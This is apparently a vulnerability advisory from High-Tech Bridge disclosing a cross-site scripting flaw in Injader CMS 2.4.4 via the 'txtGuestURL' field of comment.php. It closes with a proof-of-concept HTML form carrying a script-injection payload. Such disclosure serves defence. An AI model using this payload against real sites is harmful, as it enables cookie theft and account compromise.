XSS vulnerability in Injader CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22745
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_injader_cms_1.html
Product: Injader CMS
Vendor: http://www.injader.com/ ( http://www.injader.com/ ) 
Vulnerable Version: 2.4.4
Vendor Notification: 07 December 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/comment.php" script to properly sanitize user-supplied input in 
"txtGuestURL" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:


<form action="http://injader/comment.php?action=create&area=1"; method="post" name="main" >
<input type="hidden" name="txtGuestName" value="test"/>
<input type="hidden" name="txtGuestEmail" value="test () mail com"/>
<input type="hidden" name="chkPreview" value="on"/>
<input type="hidden" name="txtContent" value="test"/>
<input type="hidden" name="txtArticleID" value="1"/>
<input type="hidden" name="txtGuestURL" value='http://123.com";><script>alert("XSS");</script>'/>
<input type="submit" value="submit" name="submit" />
</form>